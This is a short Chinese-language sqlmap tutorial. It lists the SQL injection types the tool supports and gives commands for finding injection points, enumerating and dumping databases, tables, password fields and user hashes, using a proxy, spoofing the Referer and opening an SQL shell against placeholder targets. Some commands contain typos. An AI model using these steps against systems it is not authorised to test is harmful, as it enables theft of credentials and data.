sqlmap支持的注入方式
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
sqlmap 教程
视频:
blog:
注入点判断
- 判断是否存在注入点
sqlmap -u http://xxx
当参数有多个时,需要加双引号
sqlmap -u "http://xxx/?id=1&uid=2"
- 判断http报文中是否存在注入点 将http报文写入一个文本,然后使用
salmap -r txt文本
存在注入点后,进行下一步操作
- 查询当前用户下的所有数据库
sqlmap -u http://xxx/ --dbs
- 确认数据库后,进行表的查询.
比如上面一条语句确认有以下几个数据库
那么现在查询dkeye数据库中有哪些表
sqlmap -u http://xxx/ -D dkeye --tables
- 确认表后,获取字段名 比如上面查询表名后,确定查询其中的user_info表
使用—columns获取该数据表中的字段名。
sqlmap -u http://xxx/ -D dkeye -T user_info -- columns
- 确定字段后,使用命令获取某个字段的内容
sqlmap.py -u http://xxx/ - D dkeye -T use_info -C user,name,password --dump
获取与数据库用户相关的信息
- 获取到数据库中的所有用户
salmap -u "http://xxx/" --users
使用该条语句的前提是,当前用户有权限读取包含所有用户的表的权限时。 2. 获取数据库中用户的密码
salmap -u "http://xxx/" --password
获取到的密码是经过md5加密的,可以在md5解密网站 3. 获取当前网脑数据库的名称
salmap -u "http://xxx/" --current-db
- 获取当前网览数据库的用户名称
salmap -u "http://xxx/" --current-user
```
## 使用代理
--proxy和-proxy-cred的参数:
sqlmap.py --proxy=(http|https|socks4|socks5)?/address:port --proxy-cred=username:password
## 其他参数
### --level 5:探测等级
| 等级 | 使用 |
| ----- | ----- |
| level 2 | HTTP cookie 会加入 |
| level 3| HTTP User-Agent/Referer会加入|
| level 5| 自动破解出cookie 、 XFF等头部注入。|
### 显示信息
观察sqlmap对一个点是进行了怎样的尝试判断以及读取数据的,可以使用-v参数。共有七个等级,默认为1:
1. 只显示python错误以及严重的信息。
2. 同时显示基本信息和警告信息。(默认)
3. 同时显示debug信息。
4. 同时显示注入的payload。
5. 同时显示HTTP请求。
6. 同时显示HTTP响应头。
7. 同时显示HTTP响应页面。
如果你想看到sqlmap发送的测试payload最好的等级就是3。
### --is-dba 当前用户是否为dba
### --roles :列出数据库管理员角色
### --referer: HTTP Referer 头部伪造。
指定该字段,会修改sqlmap发送的http报文中的refer字段
### --sql-shell 运行自定义 SOL 语句
```shell
sqlmap.py -u <http://xxx/> \--sql-shell
会创建一个sql shell 交互界面,如下图